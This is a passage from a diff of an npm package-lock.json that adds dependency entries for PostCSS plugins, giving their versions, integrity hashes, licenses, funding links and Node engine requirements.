"sha512-HeP7D2wyhkR+XaK6v4W8oRF62Dsz4flyuczALJp61GckGm42u1saSSJ/0auvcBqxs3jMRFEcPK34At/0JBKdOg==", + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-dir-pseudo-class": { + "version": "9.0.1", + "integrity": "sha512-tRBEK0MHYvcMUrAuYMEOa0zg9APqirBcgzi6P21OhxtJyJADo/SWBwY1CAwEohQ/6HDaa9jCjLRG7K3PVQYHEA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "postcss-selector-parser": "^7.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-dir-pseudo-class/node_modules/postcss-selector-parser": { + "version": "7.1.4", + "integrity": "sha512-HeP7D2wyhkR+XaK6v4W8oRF62Dsz4flyuczALJp61GckGm42u1saSSJ/0auvcBqxs3jMRFEcPK34At/0JBKdOg==", + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-discard-comments": { + "version": "6.0.2", + "integrity": "sha512-65w/uIqhSBBfQmYnG92FO1mWZjJ4GL5b8atm5Yw2UgrwD7HiNiSSNwJor1eCFGzUgYnN/iIknhNRVqjrrpuglw==", + "license": "MIT", + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-discard-duplicates": { + "version": "6.0.3", + "integrity": "sha512-+JA0DCvc5XvFAxwx6f/e68gQu/7Z9ud584VLmcgto28eB8FqSFZwtrLwB5Kcp70eIoWP/HXqz4wpo8rD8gpsTw==", + "license": "MIT", + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-discard-empty": { + "version": "6.0.3", + "integrity": "sha512-znyno9cHKQsK6PtxL5D19Fj9uwSzC2mB74cpT66fhgOadEUPyXFkbgwm5tvc3bt3NAy8ltE5MrghxovZRVnOjQ==", + "license": "MIT", + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-discard-overridden": { + "version": "6.0.2", + "integrity": "sha512-j87xzI4LUggC5zND7KdjsI25APtyMuynXZSujByMaav2roV6OZX+8AaCUcZSWqckZpjAjRyFDdpqybgjFO0HJQ==", + "license": "MIT", + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-discard-unused": { + "version": "6.0.5", + "integrity": "sha512-wHalBlRHkaNnNwfC8z+ppX57VhvS+HWgjW508esjdaEYr3Mx7Gnn2xA4R/CKf5+Z9S5qsqC+Uzh4ueENWwCVUA==", + "license": "MIT", + "dependencies": { + "postcss-selector-parser": "^6.0.16" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-double-position-gradients": { + "version": "6.0.4", + "integrity": "sha512-m6IKmxo7FxSP5nF2l63QbCC3r+bWpFUWmZXZf096WxG0m7Vl1Q1+ruFOhpdDRmKrRS+S3Jtk+TVk/7z0+BVK6g==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/postcss-progressive-custom-properties": "^4.2.1", + "@csstools/utilities": "^2.0.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-focus-visible": { + "version": "10.0.1", + "integrity": "sha512-U58wyjS/I1GZgjRok33aE8juW9qQgQUNwTSdxQGuShHzwuYdcklnvK/+qOWX1Q9kr7ysbraQ6ht6r+udansalA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "postcss-selector-parser": "^7.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-focus-visible/node_modules/postcss-selector-parser": { + "version": "7.1.4", + "integrity": "sha512-HeP7D2wyhkR+XaK6v4W8oRF62Dsz4flyuczALJp61GckGm42u1saSSJ/0auvcBqxs3jMRFEcPK34At/0JBKdOg==", + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-focus-within": { + "version": "9.0.1", + "integrity": "sha512-fzNUyS1yOYa7mOjpci/bR+u+ESvdar6hk8XNK/TRR0fiGTp2QT5N+ducP0n3rfH/m9I7H/EQU6lsa2BrgxkEjw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "postcss-selector-parser": "^7.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-focus-within/node_modules/postcss-selector-parser": { + "version": "7.1.4", + "integrity": "sha512-HeP7D2wyhkR+XaK6v4W8oRF62Dsz4flyuczALJp61GckGm42u1saSSJ/0auvcBqxs3jMRFEcPK34At/0JBKdOg==", + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-font-variant": { + "version": "5.0.0", + "integrity": "sha512-1fmkBaCALD72CK2a9i468mA/+tr9/1cBxRRMXOUaZqO43oWPR5imcyPjXwuv7PXbCid4ndlP5zWhidQVVa3hmA==", + "license": "MIT", + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-gap-properties": { + "version": "6.0.0", + "integrity": "sha512-Om0WPjEwiM9Ru+VhfEDPZJAKWUd0mV1HmNXqp2C29z80aQ2uP9UVhLc7e3aYMIor/S5cVhoPgYQ7RtfeZpYTRw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-image-set-function": { + "version": "7.0.0", + "integrity": "sha512-QL7W7QNlZuzOwBTeXEmbVckNt1FSmhQtbMRvGGqqU4Nf4xk6KUEQhAoWuMzwbSv5jxiRiSZ5Tv7eiDB9U87znA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/utilities": "^2.0.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-lab-function": { + "version": "7.0.12", + "integrity": "sha512-tUcyRk1ZTPec3OuKFsqtRzW2Go5lehW29XA21lZ65XmzQkz43VY2tyWEC202F7W3mILOjw0voOiuxRGTsN+J9w==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-color-parser": "^3.1.0", + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4", + "@csstools/postcss-progressive-custom-properties": "^4.2.1", + "@csstools/utilities": "^2.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-loader": { + "version": "7.3.4", + "integrity": "sha512-iW5WTTBSC5BfsBJ9daFMPVrLT36MrNiC6fqOZTTaHjBNX6Pfd5p+hSBqe/fEeNd7pc13QiAyGt7VdGMw4eRC4A==", + "license": "MIT", + "dependencies": { + "cosmiconfig": "^8.3.5", + "jiti": "^1.20.0", + "semver": "^7.5.4" + }, + "engines": { + "node": ">= 14.15.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "postcss": "^7.0.0 || ^8.0.1", + "webpack": "^5.0.0" + } + }, + "node_modules/postcss-logical": { + "version": "8.1.0", + "integrity": "sha512-pL1hXFQ2fEXNKiNiAgtfA005T9FBxky5zkX6s4GZM2D8RkVgRqz3f4g1JUoq925zXv495qk8UNldDwh8uGEDoA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-merge-idents": { + "version": "6.0.3", + "integrity": "sha512-1oIoAsODUs6IHQZkLQGO15uGEbK3EAl5wi9SS8hs45VgsxQfMnxvt+L+zIr7ifZFIH14cfAeVe2uCTa+SPRa3g==", + "license": "MIT", + "dependencies": { + "cssnano-utils": "^4.0.2", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-merge-longhand": { + "version": "6.0.5", + "integrity": "sha512-5LOiordeTfi64QhICp07nzzuTDjNSO8g5Ksdibt44d+uvIIAE1oZdRn8y/W5ZtYgRH/lnLDlvi9F8btZcVzu3w==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0", + "stylehacks": "^6.1.1" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-merge-rules": { + "version": "6.1.1", + "integrity": "sha512-KOdWF0gju31AQPZiD+2Ar9Qjowz1LTChSjFFbS+e2sFgc4uHOp3ZvVX4sNeTlk0w2O31ecFGgrFzhO0RSWbWwQ==", + "license": "MIT", + "dependencies": { + "browserslist": "^4.23.0", + "caniuse-api": "^3.0.0", + "cssnano-utils": "^4.0.2", + "postcss-selector-parser": "^6.0.16" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-minify-font-values": { + "version": "6.1.0", + "integrity": "sha512-gklfI/n+9rTh8nYaSJXlCo3nOKqMNkxuGpTn/Qm0gstL3ywTr9/WRKznE+oy6fvfolH6dF+QM4nCo8yPLdvGJg==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-minify-gradients": { + "version": "6.0.3", + "integrity": "sha512-4KXAHrYlzF0Rr7uc4VrfwDJ2ajrtNEpNEuLxFgwkhFZ56/7gaE4Nr49nLsQDZyUe+ds+kEhf+YAUolJiYXF8+Q==", + "license": "MIT", + "dependencies": { + "colord": "^2.9.3", + "cssnano-utils": "^4.0.2", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-minify-params": { + "version": "6.1.0", + "integrity": "sha512-bmSKnDtyyE8ujHQK0RQJDIKhQ20Jq1LYiez54WiaOoBtcSuflfK3Nm596LvbtlFcpipMjgClQGyGr7GAs+H1uA==", + "license": "MIT", + "dependencies": { + "browserslist": "^4.23.0", + "cssnano-utils": "^4.0.2", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-minify-selectors": { + "version": "6.0.4", + "integrity": "sha512-L8dZSwNLgK7pjTto9PzWRoMbnLq5vsZSTu8+j1P/2GB8qdtGQfn+K1uSvFgYvgh83cbyxT5m43ZZhUMTJDSClQ==", + "license": "MIT", + "dependencies": { + "postcss-selector-parser": "^6.0.16" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-modules-extract-imports": { + "version": "3.1.0", + "integrity": "sha512-k3kNe0aNFQDAZGbin48pL2VNidTF0w4/eASDsxlyspobzU3wZQLOGj7L9gfRe0Jo9/4uud09DsjFNH7winGv8Q==", + "license": "ISC", + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-modules-local-by-default": { + "version": "4.2.0", + "integrity": "sha512-5kcJm/zk+GJDSfw+V/42fJ5fhjL5YbFDl8nVdXkJPLLW+Vf9mTD5Xe0wqIaDnLuL2U6cDNpTr+UQ+v2HWIBhzw==", + "license": "MIT", + "dependencies": { + "icss-utils": "^5.0.0", + "postcss-selector-parser": "^7.0.0", + "postcss-value-parser": "^4.1.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-modules-local-by-default/node_modules/postcss-selector-parser": { + "version": "7.1.4", + "integrity": "sha512-HeP7D2wyhkR+XaK6v4W8oRF62Dsz4flyuczALJp61GckGm42u1saSSJ/0auvcBqxs3jMRFEcPK34At/0JBKdOg==", + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-modules-scope": { + "version": "3.2.1", + "integrity": "sha512-m9jZstCVaqGjTAuny8MdgE88scJnCiQSlSrOWcTQgM2t32UBe+MUmFSO5t7VMSfAf/FJKImAxBav8ooCHJXCJA==", + "license": "ISC", + "dependencies": { + "postcss-selector-parser": "^7.0.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-modules-scope/node_modules/postcss-selector-parser": { + "version": "7.1.4", + "integrity": "sha512-HeP7D2wyhkR+XaK6v4W8oRF62Dsz4flyuczALJp61GckGm42u1saSSJ/0auvcBqxs3jMRFEcPK34At/0JBKdOg==", + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-modules-values": { + "version": "4.0.0", + "integrity": "sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==", + "license": "ISC", + "dependencies": { + "icss-utils": "^5.0.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-nesting": { + "version": "13.0.2", + "integrity": "sha512-1YCI290TX+VP0U/K/aFxzHzQWHWURL+CtHMSbex1lCdpXD1SoR2sYuxDu5aNI9lPoXpKTCggFZiDJbwylU0LEQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/selector-resolve-nested": "^3.1.0", + "@csstools/selector-specificity": "^5.0.0", + "postcss-selector-parser": "^7.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-nesting/node_modules/@csstools/selector-resolve-nested": { + "version": "3.1.0", + "integrity": "sha512-mf1LEW0tJLKfWyvn5KdDrhpxHyuxpbNwTIwOYLIvsTffeyOf85j5oIzfG0yosxDgx/sswlqBnESYUcQH0vgZ0g==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss-selector-parser": "^7.0.0" + } + }, + "node_modules/postcss-nesting/node_modules/@csstools/selector-specificity": { + "version": "5.0.0", + "integrity": "sha512-PCqQV3c4CoVm3kdPhyeZ07VmBRdH2EpMFA/pd9OASpOEC3aXNGoqPDAZ80D0cLpMBxnmk0+yNhGsEx31hq7Gtw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss-selector-parser": "^7.0.0" + } + }, + "node_modules/postcss-nesting/node_modules/postcss-selector-parser": { + "version": "7.1.4", + "integrity": "sha512-HeP7D2wyhkR+XaK6v4W8oRF62Dsz4flyuczALJp61GckGm42u1saSSJ/0auvcBqxs3jMRFEcPK34At/0JBKdOg==", + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-normalize-charset": { + "version": "6.0.2", + "integrity": "sha512-a8N9czmdnrjPHa3DeFlwqst5eaL5W8jYu3EBbTTkI5FHkfMhFZh1EGbku6jhHhIzTA6tquI2P42NtZ59M/H/kQ==", + "license": "MIT", + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-normalize-display-values": { + "version": "6.0.2", + "integrity": "sha512-8H04Mxsb82ON/aAkPeq8kcBbAtI5Q2a64X/mnRRfPXBq7XeogoQvReqxEfc0B4WPq1KimjezNC8flUtC3Qz6jg==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-normalize-positions": { + "version": "6.0.2", + "integrity": "sha512-/JFzI441OAB9O7VnLA+RtSNZvQ0NCFZDOtp6QPFo1iIyawyXg0YI3CYM9HBy1WvwCRHnPep/BvI1+dGPKoXx/Q==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-normalize-repeat-style": { + "version": "6.0.2", + "integrity": "sha512-YdCgsfHkJ2jEXwR4RR3Tm/iOxSfdRt7jplS6XRh9Js9PyCR/aka/FCb6TuHT2U8gQubbm/mPmF6L7FY9d79VwQ==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-normalize-string": { + "version": "6.0.2", + "integrity": "sha512-vQZIivlxlfqqMp4L9PZsFE4YUkWniziKjQWUtsxUiVsSSPelQydwS8Wwcuw0+83ZjPWNTl02oxlIvXsmmG+CiQ==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-normalize-timing-functions": { + "version": "6.0.2", + "integrity": "sha512-a+YrtMox4TBtId/AEwbA03VcJgtyW4dGBizPl7e88cTFULYsprgHWTbfyjSLyHeBcK/Q9JhXkt2ZXiwaVHoMzA==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-normalize-unicode": { + "version": "6.1.0", + "integrity": "sha512-QVC5TQHsVj33otj8/JD869Ndr5Xcc/+fwRh4HAsFsAeygQQXm+0PySrKbr/8tkDKzW+EVT3QkqZMfFrGiossDg==", + "license": "MIT", + "dependencies": { + "browserslist": "^4.23.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-normalize-url": { + "version": "6.0.2", + "integrity": "sha512-kVNcWhCeKAzZ8B4pv/DnrU1wNh458zBNp8dh4y5hhxih5RZQ12QWMuQrDgPRw3LRl8mN9vOVfHl7uhvHYMoXsQ==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-normalize-whitespace": { + "version": "6.0.2", + "integrity": "sha512-sXZ2Nj1icbJOKmdjXVT9pnyHQKiSAyuNQHSgRCUgThn2388Y9cGVDR+E9J9iAYbSbLHI+UUwLVl1Wzco/zgv0Q==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-opacity-percentage": { + "version": "3.0.0", + "integrity": "sha512-K6HGVzyxUxd/VgZdX04DCtdwWJ4NGLG212US4/LA1TLAbHgmAsTWVR86o+gGIbFtnTkfOpb9sCRBx8K7HO66qQ==", + "funding": [ + { + "type": "kofi", + "url": "https://ko-fi.com/mrcgrtz" + }, + { + "type": "liberapay", + "url": "https://liberapay.com/mrcgrtz" + } + ], + "license": "MIT", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-ordered-values": { + "version": "6.0.2", + "integrity": "sha512-VRZSOB+JU32RsEAQrO94QPkClGPKJEL/Z9PCBImXMhIeK5KAYo6slP/hBYlLgrCjFxyqvn5VC81tycFEDBLG1Q==", + "license": "MIT", + "dependencies": { + "cssnano-utils": "^4.0.2", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-overflow-shorthand": { + "version": "6.0.0", + "integrity": "sha512-BdDl/AbVkDjoTofzDQnwDdm/Ym6oS9KgmO7Gr+LHYjNWJ6ExORe4+3pcLQsLA9gIROMkiGVjjwZNoL/mpXHd5Q==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-page-break": { + "version": "3.0.4", + "integrity": "sha512-1JGu8oCjVXLa9q9rFTo4MbeeA5FMe00/9C7lN4va606Rdb+HkxXtXsmEDrIraQ11fGz/WvKWa8gMuCKkrXpTsQ==", + "license": "MIT", + "peerDependencies": { + "postcss": "^8" + } + }, + "node_modules/postcss-place": { + "version": "10.0.0", + "integrity": "sha512-5EBrMzat2pPAxQNWYavwAfoKfYcTADJ8AXGVPcUZ2UkNloUTWzJQExgrzrDkh3EKzmAx1evfTAzF9I8NGcc+qw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-preset-env": { + "version": "10.6.1", + "integrity": "sha512-yrk74d9EvY+W7+lO9Aj1QmjWY9q5NsKjK2V9drkOPZB/X6KZ0B3igKsHUYakb7oYVhnioWypQX3xGuePf89f3g==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/postcss-alpha-function": "^1.0.1", + "@csstools/postcss-cascade-layers": "^5.0.2", + "@csstools/postcss-color-function": "^4.0.12", + "@csstools/postcss-color-function-display-p3-linear": "^1.0.1", + "@csstools/postcss-color-mix-function": "^3.0.12", + "@csstools/postcss-color-mix-variadic-function-arguments": "^1.0.2", + "@csstools/postcss-content-alt-text": "^2.0.8", + "@csstools/postcss-contrast-color-function": "^2.0.12", + "@csstools/postcss-exponential-functions": "^2.0.9", + "@csstools/postcss-font-format-keywords": "^4.0.0", + "@csstools/postcss-gamut-mapping": "^2.0.11", + "@csstools/postcss-gradients-interpolation-method": "^5.0.12", + "@csstools/postcss-hwb-function": "^4.0.12", + "@csstools/postcss-ic-unit": "^4.0.4", + "@csstools/postcss-initial": "^2.0.1", + "@csstools/postcss-is-pseudo-class": "^5.0.3", + "@csstools/postcss-light-dark-function": "^2.0.11", + "@csstools/postcss-logical-float-and-clear": "^3.0.0", + "@csstools/postcss-logical-overflow": "^2.0.0", + "@csstools/postcss-logical-overscroll-behavior": "^2.0.0", + "@csstools/postcss-logical-resize": "^3.0.0", + "@csstools/postcss-logical-viewport-units": "^3.0.4", + "@csstools/postcss-media-minmax": "^2.0.9", + "@csstools/postcss-media-queries-aspect-ratio-number-values": "^3.0.5", + "@csstools/postcss-nested-calc": "^4.0.0", + "@csstools/postcss-normalize-display-values": "^4.0.1", + "@csstools/postcss-oklab-function": "^4.0.12", + "@csstools/postcss-position-area-property": "^1.0.0", + "@csstools/postcss-progressive-custom-properties": "^4.2.1", + "@csstools/postcss-property-rule-prelude-list": "^1.0.0", + "@csstools/postcss-random-function": "^2.0.1", + "@csstools/postcss-relative-color-syntax": "^3.0.12", + "@csstools/postcss-scope-pseudo-class": "^4.0.1", + "@csstools/postcss-sign-functions": "^1.1.4", + "@csstools/postcss-stepped-value-functions": "^4.0.9", + "@csstools/postcss-syntax-descriptor-syntax-production": "^1.0.1", + "@csstools/postcss-system-ui-font-family": "^1.0.0", + "@csstools/postcss-text-decoration-shorthand": "^4.0.3", + "@csstools/postcss-trigonometric-functions": "^4.0.9", + "@csstools/postcss-unset-value": "^4.0.0", + "autoprefixer": "^10.4.23", + "browserslist": "^4.28.1", + "css-blank-pseudo": "^7.0.1", + "css-has-pseudo": "^7.0.3", + "css-prefers-color-scheme": "^10.0.0", + "cssdb": "^8.6.0", + "postcss-attribute-case-insensitive": "^7.0.1", + "postcss-clamp": "^4.1.0", + "postcss-color-functional-notation": "^7.0.12", + "postcss-color-hex-alpha": "^10.0.0", + "postcss-color-rebeccapurple": "^10.0.0", + "postcss-custom-media": "^11.0.6", + "postcss-custom-properties": "^14.0.6", + "postcss-custom-selectors": "^8.0.5", + "postcss-dir-pseudo-class": "^9.0.1", + "postcss-double-position-gradients": "^6.0.4", + "postcss-focus-visible": "^10.0.1", + "postcss-focus-within": "^9.0.1", + "postcss-font-variant": "^5.0.0", + "postcss-gap-properties": "^6.0.0", + "postcss-image-set-function": "^7.0.0", + "postcss-lab-function": "^7.0.12", + "postcss-logical": "^8.1.0", + "postcss-nesting": "^13.0.2", + "postcss-opacity-percentage": "^3.0.0", + "postcss-overflow-shorthand": "^6.0.0", + "postcss-page-break": "^3.0.4", + "postcss-place": "^10.0.0", + "postcss-pseudo-class-any-link": "^10.0.1", + "postcss-replace-overflow-wrap": "^4.0.0", + "postcss-selector-not": "^8.0.1" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-pseudo-class-any-link": { + "version": "10.0.1", + "integrity": "sha512-3el9rXlBOqTFaMFkWDOkHUTQekFIYnaQY55Rsp8As8QQkpiSgIYEcF/6Ond93oHiDsGb4kad8zjt+NPlOC1H0Q==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "postcss-selector-parser": "^7.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-pseudo-class-any-link/node_modules/postcss-selector-parser": { + "version": "7.1.4", + "integrity": "sha512-HeP7D2wyhkR+XaK6v4W8oRF62Dsz4flyuczALJp61GckGm42u1saSSJ/0auvcBqxs3jMRFEcPK34At/0JBKdOg==", + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-reduce-idents": { + "version": "6.0.3", + "integrity": "sha512-G3yCqZDpsNPoQgbDUy3T0E6hqOQ5xigUtBQyrmq3tn2GxlyiL0yyl7H+T8ulQR6kOcHJ9t7/9H4/R2tv8tJbMA==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-reduce-initial": { + "version": "6.1.0", + "integrity": "sha512-RarLgBK/CrL1qZags04oKbVbrrVK2wcxhvta3GCxrZO4zveibqbRPmm2VI8sSgCXwoUHEliRSbOfpR0b/VIoiw==", + "license": "MIT", + "dependencies": { + "browserslist": "^4.23.0", + "caniuse-api": "^3.0.0" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-reduce-transforms": { + "version": "6.0.2", + "integrity": 